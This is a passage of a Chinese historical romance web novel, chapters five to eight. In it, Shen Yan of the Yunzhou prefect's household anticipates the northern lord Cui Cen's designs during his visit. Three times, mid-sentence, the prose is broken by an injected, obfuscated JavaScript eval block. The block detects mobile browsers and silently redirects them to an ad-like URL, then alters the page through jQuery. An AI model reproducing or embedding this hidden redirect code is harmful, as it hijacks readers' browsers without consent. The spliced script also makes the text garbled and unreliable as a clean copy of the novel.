再一年，汝阳侯战死沙场，崔岑便接过了燕地的继承权，真正成了名副其实的崔侯。 现如今天下四分五裂，一半原因要归在这人身上。 他来到乌镇，绝没好事。 我的傻爹，你可要警惕啊！沈砚慢条斯理继续用饭，心里却对沈太守不太乐观。 5. 第五章 抗拒 不止一郡太守沈闵之猜测崔岑南下的用意，沈复也食不知味。 崔岑新年二十五，虽然沈复小他几岁，但也算是同龄人。平日里他觉着自己也算勤勉聪敏，在江南的年轻一辈中排得上名号，此刻却不得不服气，崔岑已攒下赫赫威名，而他还在州衙的经历司里堪磨卷宗，虽是繁琐了些但又算什么作为？ 想想有点不是滋味。 只是他到乌镇来做什么？沈复并不天真，以为崔岑这等凶悍之人过江是来游春的。 饭厅里虽剩三个女眷，倒也能说上几句。沈复便开口向母亲李氏道：“儿子在邸报上看见，崔侯元月来一直在燕地四处游转，算算日子，他竟是一个多月前便启程南下了。可这时候燕地正需他坐镇，依母亲看，他意当如何？” 李氏放下筷子，轻声喟叹道：“还能是为什么？去年入夏北边大旱，这误了秋收就是饥荒遍野，我听说年关前都有灾民流到了咱们武陵岸口。” 说着她朝儿媳王茉望去，武陵王氏点点头，李氏便继续道：“这时候崔侯不在燕地平灾，我觉着不难猜，左右不过是来江南讨钱的。” 这似乎已成惯例。江南因着远离中枢，富庶的阡陌水乡又养不出骁勇善战的步兵和骑兵，几十年间一直在一个微妙的平衡里破财免灾，变成了几方的钱袋子。 这种平衡之道，起初叫沈砚十分惊艳，千里沃土能辗转勾连在几方势力之间，而幸免兵灾与水火，其背后运作的复杂和难度，确实令人难以想象。 沈复也想不出其他答案：“但愿如此，只为求财倒好打发。” 但若果真是这样，他心里又微微有些失望，原来燕侯崔岑也不过如此。 沈砚只竖着耳朵，闷声吃饭。 “去年我就料到会如此，不信瞧着，不久另几家也要上门了。你们吃着罢，我且下去嘱咐一番。”李氏没了胃口，起身叫人把她面前没动过的几碟菜肴给儿子三人送去。 可巧婢女将一道炙鹿肉送到王茉的餐几上，王茉忽然皱眉，避过脸干呕了几声。 李氏脚步一顿：“这是怎么了？” 眼尖的她瞧见儿媳微微羞红的脸色，忽然反应过来，朝王茉平坦的腰身望去：“阿茉莫非是有身孕了？” 对着婆婆惊喜的面容，王茉更不好意思了。她红着脸点了点头，声若蚊蝇道：“才刚两个月，儿媳听说孩子小气，要等胎坐稳了才好声张，所以就没立时告诉母亲。” 李氏这时哪还能怪罪她，忙示意仆婢把那碟鹿肉撤下，又朝沈复看去，“你早就知道了？”见儿子笑着点头，便佯怒道，“既知她闻不得腥膻，早不护着你媳妇，真是讨打！” 王茉心里甚甜，忙拉住李氏的手道：“母亲不要责怪夫君，我这些时日一切如常，不曾有过这么大反应，想来是今晚桌上的青梅酒叫泛酸了。” 酸儿辣女，李氏听了更是高兴。 沈砚趁隙逮了个机会，送上祝福：“恭喜嫂嫂。” 李氏眉开眼笑，也不管燕地那个煞星了，只围着王茉的饮食起居问东问西，又叫准备礼物赶紧通知武陵亲家。絮絮叨叨着，李氏顺嘴道：“说起来你三妹也有了身孕，今儿捎了信来。” “可是嫁去荆南，刘将军府上的那个妹妹？” 王氏做为长嫂，实则对沈家几个弟妹的婚嫁去向都熟记在心，三庶妹沈璧嫁给刘开六年才有孕，这一胎来得实在珍贵。但婆婆李氏对几个庶子女都淡淡的，她也就不想显出自己机灵。 “可不是她？就嫁在荆南，这离得近了，到时候生产我说不得还要去坐一坐。” 李氏心里有杆秤，虽说嫁出去的女儿是泼出去的水，但刘开就屯兵在家门左近，这个亲家就要常走动。 沈复听她们婆媳聊了几句，便示意沈砚借一步说话。 “我前些日看邸报，瞧见川蜀派出一支人马来郓州，由礼赞官刘仁带队，四月中旬就可抵达，阿砚可知这是什么意思？” 哦？沈砚一听就明白了，这是川中刘家要来乌镇提亲，至于提亲的对象，自然就是她了。 中山王一支乃刘皇宗室，分封在川蜀之地的崇山峻岭中，十分低调不显。若论门阀家世，沈家为天子臣下，她沈砚是高嫁；但郓州富庶且经营颇善，有累世之积，太守嫡女嫁宗室，倒也相当。 她露出恍然状，指了指自己。 沈复点头，打趣道：“我打听了一下，那刘公府上的嫡幼子年方十七，和你正相配，你们小夫妻郎才女貌，也算天作之合了。” 无奈沈砚脸皮太厚，脸不红心不跳：“都是父亲母亲挑的好。” 沈复笑了笑。毕竟是亲兄妹，沈复瞧见她的仙姿绮貌，也生出了“吾家有妹初长成”的骄傲，想着她眨眼间就要出嫁，不知怎的忽然想到了崔岑。 是了，他是样样不如崔岑，但有一样崔岑拍马也赶不上！那便是他马上要当爹了，而崔岑如今还是个光棍！ …… 这顿饭吃得有些久了，回去时阿桃提灯走在前面。 沈砚的心神一半在崔岑，一半却转到了嫂嫂王茉怀孕的事上。 王氏去年嫁进沈家，今年才不过十七岁，入秋竟就要生产当一个母亲了。才十七岁，在她眼里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142928|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还应是个在窗下读书的懵懂孩子。然而在这平均寿数不过三四十的世道，一场风寒就有可能丧命，所有正在经历、未来要去经历的人生大事，都早已按着时间节点密密排布好，一切都变得急惶惶的。 从容，甚或说是对婚姻生活毫无谋算的她，沈砚感到自己是那么格格不入。 回到院子，沈瑄原在屋里练字，听见沈砚回来的动静就跑出来迎她。才十来岁出头的小女孩，乌溜溜的眼睛关切地望过来，沈砚忍不住摸了摸她的脑袋。 沈瑄受宠若惊。 沈砚就问她：“在习字？拿来我看看。” 小女孩没一会儿又飞快跑回来，把一叠字帖递上，眼巴巴等着点评。 这写的是入门隶书体，字迹端正，中规中矩。古人并不是从幼年就开始习字，因幼时骨软易伤，早先只用手指比划描摹，到了十岁上下才提笔悬腕，上纸书写。 沈砚夸了她几句，又指出一撇一捺的写法还不得要领，回去再练。 沈瑄点头受教，蹭到她屋里喝了杯茶，见沈砚拿出刀具要凿磨那个已费时一个多月的砚台，这才起身告辞。 沈砚绑好指尖，捏着小刻刀，却久久没有动静。 她还是在想着王茉。 她仿佛就看到明日的自己，抱着高鼓的肚皮躺在床榻上等待一个新生命。一想到这个画面就让她感到浓郁的窒息，她已经渐渐看开了这世道里许多的人情世故，却仍不能接受自己陷入这种循环。 坐了好一会儿，沈砚才渐渐压下心头那缕躁意。她本以为，凭她无论将来嫁于谁，只要闭眼生一个子嗣，就有本事能混度余生。但嫂子有孕的事忽然叫她清楚知道，她十分抗拒这么年幼就被迫生育。 觉得荒诞，因此抗拒，绝不可能妥协。 然而未来，她或漫长或短暂的余生，在此刻就能一览无余，全都写满了“不由自主”。 手上的歙砚已粗粗成型，沈砚举着小刀，陷入了沉思。 吴娘和阿桃阿杏就散坐在她周围，穿针引线绣着手帕，打彩络子，好打发夜里时光。 …… 亥时熄灯后，阿桃只留一盏小烛在莲台上，她就睡在里屋的屏风外边。值夜的她向来浅眠，后半夜时忽听到床榻那边传来响动。 “娘子？娘子醒了么？”阿桃轻唤了一声，披上外衣去到屏风后查看。果然见是沈砚不知为何醒来，正斜靠在床头，眼中神采凝重。 “刘开，”沈砚缓了口气，这一觉她梦中影影憧憧，醒来还有些疲累，“崔岑的目标是荆南刘开，他不是为财，他是为吞掉郓州而来。” 6. 第六章 提醒 阿桃和吴娘一样，因着这几年近身服侍的缘故，早就对沈砚服服帖帖。此刻听闻沈砚语出惊人，她也没有太过吃惊，只是放下烛台轻声问道：“娘子汗了么，是否要我去打水来拧条帕子？” 沈砚这才发觉额上有略微的汗意。她从床头的屉子里抽出一条丝帕，胡乱擦了擦：“不必了，你坐下陪我说会儿话罢。” 阿桃便坐在床脚榻上，抬头望向沈砚。 沈家这一辈的女孩儿取名皆入“玉”旁，唯有沈砚是“石”旁。阿桃早先偷偷问过吴娘，吴娘示意她看沈砚收藏的石头，“你以为玉不是从石中剖出的么？” 阿桃没有全信。她想，使君那些年一个接一个的庶出儿女，应是叫夫人膈应了，反嫌那玉廉价。再说“砚”字，石见石见，老话说“水落而石出”，是为求真求知之意，也正应了如今七娘这般心灵通透。 沈砚穿着寝衣拥被而坐，看见阿桃一副倾听神色才觉出不妥：“瞧我睡糊涂了，大半夜叫你爬起来受冻做什么，快回去睡罢。” 这下反倒阿桃不肯了。她紧了紧身上的外衣，赖着不走：“娘子便和我说说嘛，我爱听这些。” 沈砚失笑。阿桃和吴娘阿杏又不一样，不知是否受她的影响，阿桃颇为关心时事。白日里闷不吭声的小侍女，这会儿才露出眼里的几分慧气。 “怪我把你吵醒了，”沈砚斜靠在床头，温声道，“也罢，荆南的事有些复杂，不如你猜猜父亲为我挑选的夫婿是哪家？” 阿桃果然十分感兴趣：“娘子已得了确切消息么？” 沈砚点头。 阿桃斟酌道：“我猜想，使君怕是不会让娘子嫁过江的。因娘子曾说过，使君无意掺合这些祸乱，虽则前头有四娘子嫁去太原范家，但娘子的身份又有不同。” 庶四娘子沈珏嫁去北边范家只是为妾，分量怎么也无法和郓州的女公子沈砚相提并论。 “若使君这么做，实际也相当于在诸侯里择其一站队，这恐怕不是使君的意愿。” “言之有理。”确实，沈砚早知她既不能嫁诸侯，也不会嫁进皇室，她是郓州的政治筹码，不到紧要时候轻易不能流露出风向。 阿桃清了清嗓：“若是不嫁过江，那便是在咱们江南挑选了，我原也是这么以为。若果真是在咱们左近挑选，几位合适的世家公子都是有数的，不过我瞧着娘子上回和吴娘提到此事时，不曾多言语，似乎不看好。所以我猜不着了，既不是江北，也不是江南，娘子既得了准信，就行行好告诉我罢！” 寒夜漫漫，两人这般一个拥被一个披衣，倒生出了一丝夜谈的氛围。 沈砚怕阿桃着凉，也不卖关子：“你猜得没错，但做任何推测都要有实据，你依着我来猜想便不够妥当，若我也错了呢？” “且看，这次诸侯大乱并非早些年那样小打小闹，怕是一定要叫天下改名换姓才会罢休，这点连你我都能看出来，我爹怎会不知？只我们太守性情如此，觉得郓州避祸百年，存了侥幸之心，想着只要不掺合，等到尘埃落定再拜新君便是。” 沈砚顿了顿，还是长话短说：“总之他是有为郓州打算，若将我嫁于左近的莱州或蓬阳，不过是加强了几州联络，和旧日的进退同盟一样效用，并无什么增益和变数。所以我爹要找一个退路，一个能在乱局里存活到分出胜负那一刻的倚靠。” “我给你一个提示，你且往西看。” 阿桃得了音信便也不赖着了，举灯回到屏风外边，脱衣躺进被窝，屋里复又安静下来。 只是沈砚也睡不着了。哎，川蜀派人来乌镇，这也不是什么难以探听的讯息，有心人稍一琢磨就明白了郓州的打算。她爹找的退路，恰恰变成了动乱的火线。 譬如崔岑这种胆子大的，就喜欢先下手为强。 …… 三月下旬，郓州除了要在春分前祭祀社日，还有好几场花宴。数不清的春鹃、碧桃、海棠成片盛放，李氏不但要在太守府里主持两场茶话会，还要在碧游台共举花事，与民同乐。 偏这时儿媳怀孕，燕地的崔侯又上门讨债，李氏再能干也不免忙得坏了心情。 “阿砚来得正好。” 早间沈砚去给李氏请安，就被李氏给逮住了，“崔侯要登门，礼不可失，这几日你且来帮忙打理些许琐事。” 这都是小事，沈砚没有推拒。她起大早过来李氏屋里，是为了别的缘故。 “母亲，我昨晚做噩梦了，”沈砚这会儿又像个十五岁少女似的，她依着李氏的肩膀心有余悸，“梦见许多年前那个细作。” 李氏顿时脸色一变，有些紧张地打量她：“你梦见这些做什么，可是有人在你面前胡言乱语了？”她第一反应便是沈砚知晓了昨日的事受到惊吓，是哪个贱婢敢多嘴多舌？ “不知为何就梦到了，”沈砚可不想牵累别人，摇头道，“母亲别担心，这些年眼见着郓州有多不易，我再想起来也只恨那细作可恶，搅得人心惶惶。” 李氏见她神情不似害怕，这才放下心来：“是啊，这些探子无孔不入，真叫人头疼。阿砚不要想了，过来，娘给你梳头。” 沈砚并不必每日清早来给李氏问安，她为了叫自己出现的不叫人起疑，匆匆赶来时只草拢了一把发丝。 李氏叫她坐在自己的梳妆台前，亲自拿了金丝楠木梳帮她理顺长发，边梳边笑道：“瞧这乌发多叫人羡慕，细密柔顺，一丝儿不好也没有，阿砚往后梳髻一定好看极了。” 妆台的铜镜里映出母女二人，那年幼些的美人确是绮年玉貌，神采昳丽。 沈砚要李氏注意的不是她的头发，她像模像样叹了口气，蹙眉道：“母亲叫我不要多想，可梦里也实在骇人……母亲，那女子也才二十出头罢？就同三姐那般大，三姐嫁去刘将军府上即将生儿育女，那细作却同龄不同命。有时真不明白，那些人放着好好的日子不过，是图什么？” 说者无意，听者有心，李氏正在梳发的动作顿了一顿。 荆南在郓州左面，天下大乱后就被驻扎此地的原厢军将领刘开带兵占据。沈家早前在韦氏主政荆南时，就与守将刘开有联络，后来更是嫁女与他成为姻亲。昨日那细作来自益阳，而益阳正是荆南辖下一处关隘，刘开这个亲家为什么要派细作潜伏在太守府里？ 昨日将人移交给州狱司后，李氏并没有多想，细作被捕后常变作死间，谎报身份，指鹿为马，没几句能信的。可……说起来刘开血洗荆南上位，也不是什么良善之辈，此豪粗人不粗心，莫非细作真是他派来的？ 李氏朝铜镜里望去，见女儿微微垂首，眉目间笼着轻愁，似还陷在那个血色回忆里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142929|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她忙岔开道：“哪有那么多为什么，你快瞧瞧这样梳可喜欢？” 心中却在想，沈璧怀孕几个月，现在刘开身边是哪个在服侍？看来是该派人去打听一下了。 沈砚在李氏屋里吃过早食，回去就要叫上吴娘几个，去督办接待崔岑的任务。 住在东厢的沈瑄见她来去匆匆，就扒在门后张望，也不来闹腾。 她这样懂事，反叫沈砚有一丝不忍，便招手叫她过来：“今日可有空？” 沈瑄闻言，不禁绽开笑颜：“七姐姐有事要吩咐我么？” 沈砚点头。 吴娘几个就看着沈瑄眼里要冒出星星，乐颠颠地缀在沈砚身后。 给太守递信的人也没说崔岑几时登门，幸而府上仆婢每日间都要做洒扫，倒也不必乱成一团。沈砚在家中不是头回露面，这会儿既是得了李氏授命，底下人自然也不敢轻慢。 贵客登门，主家要紧的是查漏补缺，布置迎客堂，延请陪宾，拟定宴菜，布置座次；还有席间的歌舞、酒水、女侍，乃至下榻的院舍，值守人等，可能生出的变故，都要样样想在前头，件件安排妥当。 事情看着虽多，但沈砚不着急，耐着性子把掌事的一个个叫进来对接明白；便是有难办的，三言两语也理出头绪，不听人推诿废话；此番接待又另设一本账，所有开支取用单独记录，事后再行归档，谁也别想浑水摸鱼。 “库房清册上有一套新得的云龙纹漆器件，杯盏碗碟俱全，花色大方漂亮，我看取来给崔侯用正好。”吴娘递上茶盏，请沈砚润喉，又示意阿桃给沈瑄也奉茶。 这一大堆事吩咐明白，也足用了一个多时辰，可不费嗓子么？ “你去瞧一眼，若合用便做主罢，”沈砚确实有些渴了，连饮两口，“剩下的就有劳吴娘了。” 锣对锣，鼓对鼓，她只管把事情当面交代清楚，自有身边得力的人督办下去。若底下人阴奉阳违，那丑话也是先说在了前面，没什么好扯的。 吴娘忙应下：“是，我这就带阿杏四处盯着去。” 沈瑄乖巧坐在一旁，望向沈砚的双眼却放着光。往常七姐姐只一板一眼站在夫人身边，她竟才知道七姐姐不止有玲珑心窍，也有雷霆手段。 七姐姐从不曾这般详尽打理过家务事……沈瑄心里甜甜的，这样的耐心，其实更多是为了教她罢？ 把人都派遣出去，沈砚细数一遍见没什么缺漏，便向李氏回禀交了差。出了李氏大屋时，廊下的冷风一阵一阵，天空眼看晦暗将雨。 沈砚抬头望着，长眉微蹙，久久不语。 沈瑄轻轻拽了拽她的袖子：“七姐姐？” 沈砚回过神来，随口道：“你觉不觉得，二月以来雨水太多了些？” 说起这雨，沈瑄也叹了口气：“谁说不是呢，我数着已经连下一个多月，咱们院子墙角都冒好多蘑菇了。” 沈砚伸手摸了摸她的小脑袋。 四月初稻种就要育苗，老话里说要赶上暖和的日子才好下地，今春的农时怕是要耽误了。 只耽误播种都是轻的。 在沈砚看来，别说郓州的河务，这大汉朝的水利工程都不算什么出色，因河就简，十分粗陋。而决堤，可不只会在六七月间。 崔岑这煞星，来的太不是时候了。 7. 第七章 登门 果然，隔天李氏就派婢女传话说是崔侯递了拜帖，叫沈砚一同预备见客。 这世道虽是男尊女卑，却也没叫女人掩面躲在屋里。贵客上门，主家往往携妻儿相迎，以示热诚郑重，彰显通家之好。 到底是燕地的崔侯，论家世和品级都是当世一流，见客这日，李氏换了件牡丹团枝纹紫金披帛大袖衫。沈砚上回见她这样雍容华贵还是在去岁的除夕宴上，嫂子王茉也换上一件雅致的石榴红百子撒金襦裙，光彩照人。 王茉如今有孕在腹，已是小心翼翼不再穿交领式和曲裾式衫裙，怕束着腰身有碍肚子。 相比之下沈砚就素淡许多，只一条鹅黄底青杏花纹抹胸襦裙，露出小半雪白胸脯和精致锁骨。好在她年轻姣美，旁人穿什么都压不住她。 李氏带着她二人，在迎宾厅里与三个妯娌一番相见。沈家并未分家，沈闵之是长兄，底下还有三个弟弟，几家人都住在太守府里，只沈砚平日不常走动，和几位婶娘就不怎么亲近。 不久后仆童来报太守和崔侯一行人已过了二门，众人便下到台阶处迎候。等了一会儿，乌泱泱一群人穿过盛花怒放的中庭，走进视线。 不待多想，李氏忙带人上前见礼。 待近前来，无须多言，众人一眼便认出人堆里的哪个是崔岑。 大约是北地人的缘故，这个年青人身量实是高挑，长身玉立，俊逸卓然，一身气度绝不会被人错认。尤其是他那双眼睛，眼若漆星，清亮澄澈，一望过来仿佛能看穿所有魑魅魍魉，天然就带有两分居高临下的深幽之意。 幸好今日上门做客，他换了件乌蓝色泥金暗花纹的贡缎常服，身上那股骁悍之气已大半收敛。但那副挺拔身板，依然叫人靠近时察觉到他浑身矜冷之意。 分明是傲慢的，但又风度翩翩，叫人无可挑剔。 沈砚落在人后，也随亲长揖手行礼。 “崔侯第一回来我家中，还没见过我府上家眷。这位是拙荆李氏，这位是二弟媳姚氏——”沈闵之适时为众人做了引见，最后他介绍到王茉和沈砚，“这是犬子媳妇王氏，旁边是我家小女，在家行七。” 沈砚敛眉低首，上前一步：“见过崔侯。” 这位名动天下的博陵崔氏，崔岑面上神情相比沈闵之几人的热情和笑容，只能说得体，不至堕了风度涵养。这会儿看到沈砚出列，他似乎想起了什么，竟格外和她打招呼：“七娘子，我们又见面了。” 众人不觉吓了一跳。 “哦？”沈闵之忙笑道，“不知崔侯何时竟见过我家女公子？” 崔岑望了沈砚一眼，答道：“我早些年就听闻江南兴起赌石，只是北地一直不见流行，前日来乌镇就先寻摸去了金石巷，才知果真只有江南地界有这便利和财力，也是在那里，偶遇七娘子买砚石。” 他的嗓音沉稳，吐字平和清晰，竟有几分悦耳。沈砚终于能堂而皇之打量他，不觉挺直背脊。 “崔侯说笑了！” 北地多豪门，说是玩不起几块翡翠毛料自是谦词，何况北地和中原战火纷飞，哪有空赌石消遣？ 沈闵之更不敢把话头往郓州的家底上引，忙摆手道：“也不知是哪里来的几些顽物，叫人起哄胡闹了一阵，瞎玩罢了！” 可惜沈闵之这番遮掩，却被他二弟沈惜之两眼放光截住了话头，“崔侯竟去了金石巷？不知崔侯那天赌了几块料子，手气如何？” 一听二叔开口，沈砚就直觉不好。 果然，紧接着就响起崔岑遗憾的声音，“好玩是好玩，可惜我手气不佳，那天连解了十几块都是废料。” 沈惜之哈哈大笑，反倒比旁人少了些拘谨之意：“都说第一次解石的人有莫名气运，崔侯竟是没有解中，可惜可惜！” 沈闵之有些回过味来，也只能陪笑。 沈砚气笑了，怪不得特特和她打招呼，这人竟是要叫太守府为他的豪赌买单！博陵崔氏的侯爷来了乌镇，对赌石感兴趣，作为东道主岂能不尽地主之谊，让人玩上一玩？怎么也得解出几块翡翠，让人图个高兴罢？ 崔岑崔岑，岑字释义“小而高的山”，没想到他是这样一个崔小高。 明明众人都围着他，但崔岑偏偏似察觉到她的视线，在间隙里回望了一眼。 旋即两人都转开目光。 …… 众人又寒暄了几句，沈闵之就带着崔岑往前厅去。 因崔岑没有携带女眷，后面的事也就无须李氏交际，这回见外客前后不到半个时辰。 到了傍晚申时末，沈砚又换了件嫩丁香色海棠纹撒金襦裙，带着阿桃去赴晚宴。 天色越发阴沉，府里已灯火通明。 等她后脚迈进宴请崔岑的香雪楼，天上竟又淅淅沥沥开始落雨了。 因是家宴，没有请郓州的士绅官员，只叫府里的长史和几个清客作陪，沈砚这些主家的女眷便也上桌凑数，图个热闹。不多时人便陆陆续续到来，最后是崔岑和沈闵之几人。 沈砚悄然打量在崔岑身边随行的那两人：一个瞧着二十出头模样，浓眉大眼还带一丝稚气，但站位很是老道，将崔岑周身护得滴水不漏；另一位颔下蓄着短须的中年人，眉目刚毅，不显山不露水，年岁约和她爹相当，但看举手投足隐带罡风，极有可能是员悍将。 待众人落座，第一轮致辞敬酒后，雨势越发大了，甚至炸了几声惊雷。 上座的崔岑捏着酒杯，忽慨叹道：“都说春雨贵如油，乌镇的雨却是说来就来，若是去夏也能在我们北地下几场就好了。” 闻弦而知雅意。 大堂上没有蠢人，虽然早就料到崔岑南下是为敛财，但他这样直白仍叫沈家众人面上火辣辣的。 沈砚原只管吃喝，此刻听见雷声却是若有所思，不由向崔岑望去。 “也是赶巧了，这是郓州今春第一声吉雷，”沈闵之面不改色，朗声笑道，“又逢崔侯在我府上做客，来来，我再敬崔侯一杯！” 崔岑微微一笑，来者不拒：“请。” 又一番推杯换盏后，沈闵之趁隙递给李氏一个眼神。 不愧是老夫老妻，李氏寻机告罪一声退下。晚宴后原是打算将崔岑几人送往城中的礼宾馆安置，但看这大雨倾盆不停歇的架势，没有这样赶客的，她要下去再看看客舍的安排。 席上接着劝酒。酒至半酣，沈砚和王茉便也起身告退。 楼外雨势渐大，沈砚迟疑道：“嫂嫂不若再坐会儿？” 王茉自从有孕后处处小心，但也没把自己当瓷做的：“不妨事的，叫下人仔细些便是。” 沈砚便也没有再劝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142930|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江南宅院，往往布置精巧，内中乾坤相连，此处离王茉的屋子不算远，途中处处有充作屏障的墙廊，到了廊下自然淋不着雨。 婢女们服侍沈砚二人披上蓑衣，又小心翼翼扶着王茉。阿桃和另两个女侍，也拼命将伞遮挡风雨。 在雨里行步十数息后，众人簇拥着两位女眷进了檐廊，不约而同松了口气。有孕的王茉就是个金疙瘩，磕着碰着了谁也担待不起。 沈砚抖了抖蓑衣上的水珠，轻声抱怨道：“嫂嫂，你瞧这天，出了元宵后就没晴过几日，别说屋子要发霉了，人也快霉了。” “可不是，往年府里早该下帖办起花宴来了，”王茉自然也对这连绵不绝的雨没什么好感，“便是民间地头里的活儿也做不得，不除草不翻地不沤肥，怎能指望有好收成？” 民以食为天，农事便是国事，也是经济大事。 世家大族子弟不管是否五谷不分，面上说起农耕的道理来，都有几分通晓，王茉也不例外。 “嫂嫂说的是，误了农时可是大事。”沈砚说着，看了王茉几眼，欲言又止。 王茉自是瞧见了，笑道：“阿砚想说什么，怎么，和我还有什么不能说的？” “自是怕我这些许胡乱猜想，说错了惹人笑话。我想着，这月余间，雨势连绵，咱们郓州虽是水网密布，但盈满而溢的道理放哪里都是一样的。往前十好几年，乌镇也不是没有过漫堤之灾，溢道之事，眼下虽还没入雨季，瞧这漏了天的阵势，怕也不容乐观。” “若河道真的不堪重负，漫了大水，别说耽误农时，怕无数人就要失田失土，流落街头了。到那时候，还不是要由父亲和哥哥来善后，那麻烦可就大了。” 这话没错。 王茉有些回过味来，不动声色道：“人无远虑，必有近忧，阿砚说得在理。你既把这祸事想在前头，又是正事，怎么不和母亲提一提呢？” “嫂嫂别取笑我了，我哪里懂什么，这些事自有父亲他们操心，我不过是瞎琢磨。” 沈砚却不打算揽这事。王茉娘家在大河边上，对江河雨水本就颇多敏感，自有一套监察之法。如今王茉又怀了身孕，若真立下这一桩警示之功，对她、对她未来的孩子都是安身立命的一道保障。又不劳她亲自走访查证，惠而不费的事，她必然要上心的。 王茉也想到这一层。心里打定好主意，她也不着急，调侃道：“阿砚这般聪慧懂事，字字珠玑，哪个敢小看你？” 沿着一路风雨，沈砚把王茉安全送到，又冒着大雨匆匆离去。 幸而贴心的吴娘早就备下了浴桶和热水。等到舒舒服服沐浴完出来，沈砚却没有换上寝衣，而是选了件随时能见客的交领绣花襦裙。 吴娘有些不解，沈砚也不解释，只吩咐阿杏去盯着香雪楼的宴席动静，若是散场了就来回报。 直到戌时三刻阿杏才回来，沈砚又等了一刻钟，叫吴娘去拿蓑衣和雨灯来。 这夜不仅黑，雨势还不减，淅淅哗哗，溅起老高的水花。 吴娘很不放心：“娘子这是要去哪儿，有什么事不如吩咐我罢？” 沈砚戴上竹笠，稍一低头，宽宽的帽檐就遮住了她的眼睛。 但她的声音还是熟悉的那般，柔软带着一分隐约笑意：“我要去的地方，你们替不了。” 8. 第八章 雨夜访客 南下的贵客，被安排在太守府东边的客院里。 这处精致的小院平日里少有人留宿，因着三月雨夜寒凉，李氏早早就让人燃了香炭，点上暖炉和熏笼，叫屋里一点也不至于冰冷。 崔岑今晚喝了不少酒，等他进入暖和的寝间，就发现屋里已有人在。 屏风后，柔软的纱帘低垂，那张梨花木漆雕矮床上，两个满脸红晕的俏丽侍女躺在被窝里，鸦鸦青丝散在枕上。 衾被寒凉，世家大族一直有这种“暖床”的规矩，若是主家不安排反是慢怠。崔岑见怪不怪，却也没有继续向床榻走去，反是摸到桌几上的陶壶，倒出一杯温热的解酒浓茶。 这就是无声的拒绝。 床上两个侍女一直留意着他的言行，见状很有眼色地下了床来。两人均是十六七岁高挑模样，身形已渐渐长开，只穿着肚兜和亵裤，露出秀美香肩和裸背。这些陪侍的婢女很知道怎样展现自己最娇美一面，此刻灯下旖旎，两人侧对着他缓慢穿上衣裙，香艳异常。 若是贵客叫停，她们即刻便能回到床上去。 但崔岑没有。 两人便不敢再拖延，穿戴整齐到他面前，款款行礼告退：“床被已暖好，还请崔侯早些安置。” 崔岑含糊“嗯”了一声。 沈太守倒是不吝派送这些美人恩。 崔岑过去掀开被子，果然香风隐隐，冰冷的被窝已被她们用体温捂热。 他察验了一番出去到外厅，外间站立的两个男子立刻露出相似的揶揄笑容，想来大家都受到了这等招待。 此二人一直跟随崔岑身侧，寸步不离。 中年男子姓林名敢，四十出头正值盛年，心思谨慎细密，在燕地官拜副军中郎将，位同正四品。他身旁的年轻人名叫钟意，是崔岑的贴身近卫，看面相不过二十来岁，除了高挑壮实些，并无甚奇特之处。 此番南下，三人中就数林敢最年长，是以时时刻刻打起十二分精神，这等帐中美人可不敢碰。林敢打趣道：“钟意，我一把老骨头消受不起，你怎的也拒绝了？” 钟意也不扭捏：“林叔，你现在一餐还能吃下五大碗，哪好就自谦老头了？” 开什么玩笑，区区女色，职责在肩，谁敢肆意？ 此刻没有外人。 崔岑向林敢看去，眸光清亮没有半分醉意，直言道：“林叔，这一日接触，你瞧着沈闵之是个什么人？” 林敢抬起下巴，示意崔岑看向四周：“侯爷请看，这不过是一处空置的客院，竟也如此奢华，这些摆件陈设加起来价值不下万金。沈太守虽主政郓州一方，发迹也不过三代，只算小有家底，这江南多有富庶，怕是要超出我们原先所想。” 崔岑的目光便又深了些：“如今天下之富，聚富在田亩和人丁。江南虽在朝堂没有几位高官权相，但在地方上募养了不少散兵私将，家中佃农亦可随时拿上武器变成乡勇，稍加训练便是一股战力，不能小觑。” 林敢点头道：“这几日我们四下闲逛，乌镇安平和乐，竟似不受这十来年的战火侵扰，茶馆里也只将中原和北地的交锋做为闲话谈资。想来是上行下效，郓州士绅没经历过战乱之苦，这些人现今还没有生出血性来。” 这便是他的回答了，沈太守性子太软，不具前瞻的眼光。 就连钟意，也不大看得起沈闵之一家：“今晚侯爷就差明抢了，沈太守却哈哈而笑，这胸怀确实常人不及。” “不可大意，”崔岑眼中冷光微闪，“毕竟是在他们地盘上，你我言行末节都要谨慎，尽量避免多生事端。” “是！” 见他严肃，两人俱都认真应下。 林敢又道：“侯爷可曾注意到太守家中几兄弟，我观他们四人之间也有汹涌，若是能利用一番，内外齐下，沈家就翻不出什么浪花了。” “先观望罢，我们还需在乌镇逗留一阵，等到……”哗哗雨声中，崔岑忽听到几声极轻的叩门声，似真似幻，“钟意，你去看看。” 